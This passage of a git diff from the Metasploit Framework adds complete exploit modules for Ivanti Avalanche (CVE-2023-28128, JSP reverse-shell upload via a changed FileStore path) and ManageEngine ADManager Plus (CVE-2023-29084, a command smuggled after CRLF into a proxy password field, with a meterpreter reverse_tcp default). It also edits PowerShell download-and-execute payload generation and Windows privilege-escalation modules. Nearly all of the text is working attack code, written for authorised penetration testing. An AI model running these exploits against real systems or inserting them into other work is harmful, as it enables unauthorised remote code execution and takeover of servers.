'Mac OS X', 'PSH (Binary)' data = generate_payload_exe when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer' + # Disable this option since the Powershell protection bypass should been done already. + opts = {} + opts[:prepend_protections_bypass] = false if datastore['PSH-AmsiBypass'] data = cmd_psh_payload( payload.encoded, - payload_instance.arch.first + payload_instance.arch.first, + opts ) else data = payload.encoded.to_s @@ -246,11 +284,13 @@ def on_request_uri(cli, request) end def gen_psh(url, *method) - ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl - force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12'] + ignore_cert = ssl ? Rex::Powershell::PshMethods.ignore_ssl_certificate : '' + prepended_actions = [] + prepended_actions << "#{get_uri}#{force_tls12_uri}" if ssl && datastore['PSH-ForceTLS12'] if method.include? 'string' - download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url) + prepended_actions << "#{get_uri}#{proxy_aware_uri}" if datastore['PSH-Proxy'] + download_string = Rex::Powershell::PshMethods.download_and_exec_string(url) else # Random filename to use, if there isn't anything set random = "#{rand_text_alphanumeric(8)}.exe" @@ -268,7 +308,7 @@ def gen_psh(url, *method) download_string = Rex::Powershell::PshMethods.download_run(url, file) end - download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}" + download_and_run = "#{ignore_cert}#{Rex::Powershell::PshMethods.download_and_exec_string(prepended_actions)}#{download_string}" # Generate main PowerShell command if datastore['PSH-EncodedCommand'] diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index e0bdcaab94a57..9e872d344fdb1 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -41,6 +41,13 @@ def initialize 'CmdStagerFlavor' => %w[bourne echo printf wget], 'Targets' => [ + [ + 'Linux Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'linux' + } + ], [ 'Linux x86', { @@ -237,7 +244,11 @@ def exploit when 'unix' execute_command(payload.encoded) else - execute_cmdstager(linemax: 500) + if target['Arch'] == ARCH_CMD + execute_command(payload.encoded) + else + execute_cmdstager(linemax: 500) + end end @timeout ? ssh_socket.shutdown! : ssh_socket.close diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb new file mode 100644 index 0000000000000..774d0ae5c91b8 --- /dev/null +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -0,0 +1,374 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ivanti Avalanche FileStoreConfig File Upload', + 'Description' => %q{ + Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short + names in the configuration path for the Central FileStore. Because of + this, an administrator can change the default path to the web root + of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Piotr Bazydlo', # @chudypb - Vulnerability Discovery + 'Shelby Pace' # Metasploit module + ], + 'References' => [ + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'], + ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'], + ['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'], + ['CVE', '2023-28128'] + ], + 'Platform' => ['win', 'java'], + 'Privileged' => true, + 'Arch' => ARCH_JAVA, + 'Targets' => [ + [ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }] + ], + 'DisclosureDate' => '2023-04-24', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] + } + ) + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]), + OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]), + OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ]) + ] + ) + end + + def check + # Cleanup should not be needed after doing just a check. + @cleanup_needed = false + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'login.jsf'), + 'method' => 'GET' + ) + + return CheckCode::Unknown('Failed to receive a response from the application') unless res + + unless res.body.include?('Avalanche - User Login') + return CheckCode::Safe('Application does not appear to be Ivanti Avalanche') + end + + html = res.get_html_document + elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) } + return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem + + version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/) + return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2 + + version = version[1] + vprint_status("Version of Ivanti Avalanche appears to be v#{version}") + ver_no = Rex::Version.new(version) + patched_version = Rex::Version.new('6.4.0.186') + + if ver_no >= patched_version + CheckCode::Safe('Target has been patched!') + elsif ver_no < patched_version + CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!') + else + CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}") + end + end + + def authenticate + if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank? + fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options') + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'login.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login') + + html = res.get_html_document + view_state = get_view_state(html) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'login.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'loginForm' => 'loginForm', + 'j_idt8' => '', + 'loginField' => datastore['USERNAME'], + 'passwordField' => datastore['PASSWORD'], + 'TextCaptchaAnswer' => '', + 'javax.faces.ViewState' => view_state, + 'loginTableButton' => 'loginTableButton' + } + ) + + unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf') + fail_with(Failure::UnexpectedReply, 'Login failed') + end + end + + def get_view_state(html) + view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text + + view_state + end + + def configure_filestore + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first + fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration') + end + + html = res.get_html_document + view_state = get_view_state(html) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state + + @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text + fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path + print_status("Original FileStore config path: '#{@original_config_path}'") + + # determine drive letter + drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/) + fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3 + drive_letter = drive_letter[1] + + new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web" + print_status("Changing FileStore config path to '#{new_config_path}'") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', + 'formFileStoreConfig' => 'formFileStoreConfig', + 'txtUncPath' => new_config_path, + 'txtVelocityFolder' => '', + 'javax.faces.ViewState' => view_state + } + ) + + input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first + if input_field_html.blank? + fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!') + elsif input_field_html[:value] != new_config_path + fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path') + end + end + + def get_directory_val(res, dir_name) + html = res.get_html_document + results = html.xpath('//tr[contains(@class, "DIRECTORY")]') + fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results + + expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name } + fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir + data_rk = expand_dir.at('@data-rk')&.value + fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk + + data_rk + end + + def expand_folder(data_rk, view_state) + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', + 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', + 'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree', + 'fileStoreTree_dlgFileStoreTree_expand' => data_rk, + 'javax.faces.ViewState' => view_state + } + ) + end + + def select_folder(data_rk, view_state) + @cleanup_needed = true + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => + { + 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', + 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', + 'javax.faces.behavior.event' => 'select', + 'javax.faces.partial.event' => 'select', + 'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk, + 'form_filestore_tree' => 'form_filestore_tree', + 'fileStoreTree_dlgFileStoreTree_selection' => data_rk, + 'javax.faces.ViewState' => view_state + } + ) + end + + def upload_payload + payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp" + # need to 'select' webapps/AvalancheWeb to upload a file + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first + web_data_rk = get_directory_val(res, 'webapps') + view_state = get_view_state(res.get_html_document) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state + + res = expand_folder(web_data_rk, view_state) + fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res + avalanche_data_rk = get_directory_val(res, 'AvalancheWeb') + view_state = get_view_state(res.get_html_document) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state + res = select_folder(avalanche_data_rk, view_state) + fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res + + view_state = get_view_state(res.get_html_document) + fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state + + boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" + + post_data = "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n" + post_data << "upload-form\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n" + post_data << "#{view_state}\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n" + post_data << "true\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n" + post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n" + post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n" + post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n" + post_data << "Content-Type: application/octet-stream\r\n\r\n" + post_data << "#{payload.encoded}\r\n" + post_data << "--#{boundary}--\r\n" + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'data' => post_data, + 'headers' => { + 'Accept' => 'application/xml, text/xml, */*; q=0.01', + 'Faces-Request' => 'partial/ajax', + 'X-RequestedWith' => 'XMLHttpRequest', + 'Content-Type' => "multipart/form-data; boundary=#{boundary}", + 'Accept-Encoding' => 'gzip, deflate' + } + ) + + fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}") + + print_good("Successfully uploaded '#{payload_name}'") + payload_name + end + + def cleanup + if @cleanup_needed == false + return + end + + restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.' + print_status('Attempting to restore config path') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + unless res + print_error("Could not access FileStore config. #{restore_msg}") + return + end + + html = res.get_html_document + view_state = get_view_state(html) + unless view_state + print_error("Failed to get view state. #{restore_msg}") + return + end + + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', + 'formFileStoreConfig' => 'formFileStoreConfig', + 'txtUncPath' => @original_config_path, + 'txtVelocityFolder' => '', + 'javax.faces.ViewState' => view_state + } + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + unless res&.body&.include?(@original_config_path) + print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}") + return + end + + print_good('Successfully restored the FileStore config path') + end + + def exploit + # Starting off we shouldn't need cleanup, however if we get to the point were we start + # to change config settings then we will need to clean that up. + @cleanup_needed = false + + authenticate + configure_filestore + payload_name = upload_payload + + register_file_for_cleanup("webapps/#{payload_name}") + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet + 'method' => 'GET', + 'keep_cookies' => true + ) + end +end diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb new file mode 100644 index 0000000000000..a8d12a1a7d879 --- /dev/null +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -0,0 +1,282 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + require 'json' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection', + 'Description' => %q{ + ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient + validation of user input when performing the ChangePasswordAction function before passing it into a string that is later + used as an OS command to execute. + + By making a POST request to /api/json/admin/saveServerSettings with a params POST + parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a + carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user + running ADManager Plus, which will typically be the local administrator. + + Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings, + so this vulnerability does require authentication to exploit. + + As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads + with this exploit, since these will use HTTP connections that will be affected by the change in configuration. + }, + 'Author' => [ + 'Simon Humbert', # Disclosure of bug via ZDI + 'Dinh Hoang', # Aka hnd3884. Writeup and PoC + 'Grant Willcox', # Metasploit module + ], + 'References' => [ + ['CVE', '2023-29084'], + ['URL', 'https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/'], # Writeup + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-438/'], # ZDI Advisory + ['URL', 'https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html'], # Advisory + ['URL', 'https://www.manageengine.com/products/ad-manager/release-notes.html'] # Release Notes and Reporter Acknowledgement + ], + 'DisclosureDate' => '2023-04-12', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_CMD], + 'Privileged' => true, + 'Payload' => { + 'BadChars' => "\x22\x0A\x0D\x00[{}]:," # Avoid double quotes, aka 0x22, and some other characters that might cause issues. + }, + 'Targets' => [ + [ + 'Windows Command', + { + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }, + 'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse bind none' } } + } + ], + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8080 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server. + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [true, 'The user to log into ADManager Plus as', 'admin']), + OptString.new('PASSWORD', [true, 'The password to log in with', 'admin']), + OptString.new('DOMAIN', [true, 'The domain to log into', 'ADManager Plus Authentication']) + ] + ) + end + + def login(username, password, domain) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'j_security_check'), + 'method' => 'POST', + 'vars_get' => { + 'LogoutFromSSO' => 'true' + }, + 'vars_post' => { + 'is_admp_pass_encrypted' => 'false', # Optional but better to keep it in here to match normal request. + 'j_username' => username, + 'j_password' => password, + 'domainName' => domain, + 'AUTHRULE_NAME' => 'ADAuthenticator' + }, + 'keep_cookies' => true + ) + + unless res && (res.code == 302 || res.code == 303) + fail_with(Failure::NoAccess, 'Could not log in successfully!') + end + + print_good('Logged in successfully!') + end + + def check + res = send_request_cgi( + 'uri' => target_uri.path, + 'method' => 'GET' + ) + + unless res && res.code == 200 && res.body + return CheckCode::Unknown('Browsing to root of website returned a non-200 or empty response!') + end + + unless res.body&.match(/\.val\('ADManager Plus Authentication'\)/) + return CheckCode::Safe('Target is not running ADManager Plus!') + end + + build_number = res.body&.match(/src=".+\.js\?v=(\d{4})"/) + unless build_number + return CheckCode::Unknown('Home page did not leak the build number via the ?v= parameter as expected!') + end + + build_number = build_number[1] + print_good("The target is running AdManager Plus build #{build_number}!") + + # Versions 7181 and later are patched, everything prior is vulnerable. + target_build = Rex::Version.new(build_number) + if target_build >= Rex::Version.new('7181') + CheckCode::Safe('Target is running a patched version of AdManager Plus!') + elsif target_build < Rex::Version.new('7181') + CheckCode::Appears('Target appears to be running a vulnerable version of AdManager Plus!') + else + CheckCode::Unknown("An unknown error occurred when trying to parse the build number: #{build_number}. Please report this error!") + end + end + + def exploit + res = send_request_cgi( + 'uri' => target_uri.path, + 'method' => 'GET', + 'keep_cookies' => true + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code!') + end + + login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DOMAIN']) + + # We need to do this post login otherwise we will get errors. This also ensures we get updated + # cookies post login as these can sometimes change post login process. + res = send_request_cgi( + 'uri' => target_uri.path, + 'method' => 'GET', + 'keep_cookies' => true + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code post authentication!') + end + + # Check that we actually got our cookies updated post authentication and visiting the homepage. + unless res&.get_cookies&.match(/adscsrf=.*?;.*?;.*?_zcsr_tmp=.*?;/) + fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected updated cookies after logging in and visiting the home page.') + end + + @csrf_cookie = nil + for cookie in @cookie_jar&.cookies + if cookie.name == 'adscsrf' + @csrf_cookie = cookie.value + break + end + end + + fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank? + + retrieve_original_settings + + begin + modify_proxy(create_params_value_enable(payload.encoded)) + ensure + modify_proxy(create_params_value_restore) + end + end + + def retrieve_original_settings + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'), + 'method' => 'POST', + 'vars_post' => { + 'adscsrf' => @csrf_cookie + }, + 'keep_cookies' => true + } + ) + + unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/) + fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!') + end + + json_body = JSON.parse(res.body) + server_details = json_body['serverDetails'] + unless server_details + fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!') + end + + server_details.each do |elm| + next unless elm['tabId'] == 'proxy' + + @original_port = elm['PORT'] + @original_password = elm['PASSWORD'] + @proxy_enabled = elm['ENABLE_PROXY'] + @original_server_name = elm['SERVER_NAME'] + @original_user_name = elm['USER_NAME'] + break + end + end + + def modify_proxy(params) + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'), + 'method' => 'POST', + 'vars_post' => { + 'adscsrf' => @csrf_cookie, + 'params' => params + }, + 'keep_cookies' => true + } + ) + + if res && res.code == 200 + if res.body&.match(/{"isAuthorized":false}/) + fail_with(Failure::NoAccess, 'Somehow we became unauthenticated during exploitation!') + elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/) + print_warning("Settings successfully changed confirmation received before timeout occurred. Its possible the payload didn't execute!") + elsif res.body&.match(/"status":"error"/) + print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}") + else + fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!') + end + elsif res.nil? + print_good('Request timed out. Its likely the payload executed successfully!') + else + fail_with(Failure::UnexpectedReply, "Target responded with a non-200 OK code to our saveServerSettings request! Code was #{res.code}") + end + end + + def create_params_value_enable(cmd) + [ + { + tabId: 'proxy', + ENABLE_PROXY: true, + SERVER_NAME: 'localhost', # In my experience this worked most reliably. + USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s, + PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}", + PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably. + } + ].to_json + end + + def create_params_value_restore + [ + { + tabId: 'proxy', + ENABLE_PROXY: @proxy_enabled, + SERVER_NAME: @original_server_name, + USER_NAME: @original_user_name, + PASSWORD: @original_password, + PORT: @original_port + } + ].to_json + end +end diff --git a/modules/exploits/windows/local/alpc_taskscheduler.rb b/modules/exploits/windows/local/alpc_taskscheduler.rb index 7d726782704eb..b357c9d6e66de 100644 --- a/modules/exploits/windows/local/alpc_taskscheduler.rb +++ b/modules/exploits/windows/local/alpc_taskscheduler.rb @@ -32,30 +32,26 @@ def initialize(info = {}) This module has been tested against Windows 10 Pro x64. }, 'License' => MSF_LICENSE, - 'Author' => - [ - 'SandboxEscaper', # Original discovery and PoC - 'bwatters-r7', # msf module - 'asoto-r7', # msf module - 'Jacob Robles' # msf module - ], + 'Author' => [ + 'SandboxEscaper', # Original discovery and PoC + 'bwatters-r7', # msf module + 'asoto-r7', # msf module + 'Jacob Robles' # msf module + ], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], - 'Targets' => - [ - ['Windows 10 x64', { 'Arch' => ARCH_X64 }] - ], - 'References' => - [ - ['CVE', '2018-8440'], - ['URL', 'https://github.com/SandboxEscaper/randomrepo/'], - ], - 'Notes' => - { - # Exploit overwrites PrintConfig.dll, which makes it unusable. - 'Stability' => [ OS_RESOURCE_LOSS ], - 'Reliability' => [ REPEATABLE_SESSION ] - }, + 'Targets' => [ + ['Windows 10 x64', { 'Arch' => ARCH_X64 }] + ], + 'References' => [ + ['CVE', '2018-8440'], + ['URL', 'https://github.com/SandboxEscaper/randomrepo/'], + ], + 'Notes' => { + # Exploit overwrites PrintConfig.dll, which makes it unusable. + 'Stability' => [ OS_RESOURCE_LOSS ], + 'Reliability' => [ REPEATABLE_SESSION ] + }, 'DisclosureDate' => '2018-08-27', 'DefaultTarget' => 0 ) @@ -79,7 +75,8 @@ def validate_target fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end - if sysinfo['OS'] =~ /XP/ + version = get_version_info + if version.xp_or_2003? && version.workstation? fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end diff --git a/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb b/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb index c2350601f825f..15510882bf56e 100644 --- a/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb +++ b/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb @@ -13,64 +13,67 @@ class MetasploitModule < Msf::Exploit::Local include Exploit::FileDropper def initialize(info = {}) - super(update_info(info, - 'Name' => 'AppXSvc Hard Link Privilege Escalation', - 'Description' => %q( - There exists a privilege escalation vulnerability for - Windows 10 builds prior to build 17763. Due to the AppXSvc's - improper handling of hard links, a user can gain full - privileges over a SYSTEM-owned file. The user can then utilize - the new file to execute code as SYSTEM. - - This module employs a technique using the Diagnostics Hub Standard - Collector Service (DiagHub) which was discovered by James Forshaw to - load and execute a DLL as SYSTEM. - ), - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Nabeel Ahmed', # Vulnerability discovery and PoC - 'James Forshaw', # Code creating hard links and communicating with DiagHub service - 'Shelby Pace' # Metasploit module - ], - 'References' => - [ + super( + update_info( + info, + 'Name' => 'AppXSvc Hard Link Privilege Escalation', + 'Description' => %q{ + There exists a privilege escalation vulnerability for + Windows 10 builds prior to build 17763. Due to the AppXSvc's + improper handling of hard links, a user can gain full + privileges over a SYSTEM-owned file. The user can then utilize + the new file to execute code as SYSTEM. + + This module employs a technique using the Diagnostics Hub Standard + Collector Service (DiagHub) which was discovered by James Forshaw to + load and execute a DLL as SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Nabeel Ahmed', # Vulnerability discovery and PoC + 'James Forshaw', # Code creating hard links and communicating with DiagHub service + 'Shelby Pace' # Metasploit module + ], + 'References' => [ [ 'CVE', '2019-0841' ], [ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ], [ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ] ], - 'Targets' => - [ + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows 10', { 'Platform' => 'win' } ] ], - 'DisclosureDate' => '2019-04-09', - 'DefaultTarget' => 0 - )) + 'DisclosureDate' => '2019-04-09', + 'DefaultTarget' => 0 + ) + ) end def check - return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i - - path = expand_path('%WINDIR%\\system32\\win32k.sys') - major, minor, build, revision, brand = file_version(path) - return CheckCode::Appears if build < 17763 + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803) + return CheckCode::Appears + elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease + return CheckCode::Detected + end - CheckCode::Detected + return CheckCode::Unknown end def upload_file(file_name, file_path) contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name)) write_file(file_path, contents) register_file_for_cleanup(file_path) - rescue + rescue StandardError fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target') end def init_process - print_status("Attempting to launch Microsoft Edge minimized.") - cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30) + print_status('Attempting to launch Microsoft Edge minimized.') + cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30) end def mk_hard_link(src, target, link_exe) @@ -91,8 +94,8 @@ def exploit fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system? - cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"") - dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat") + cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI 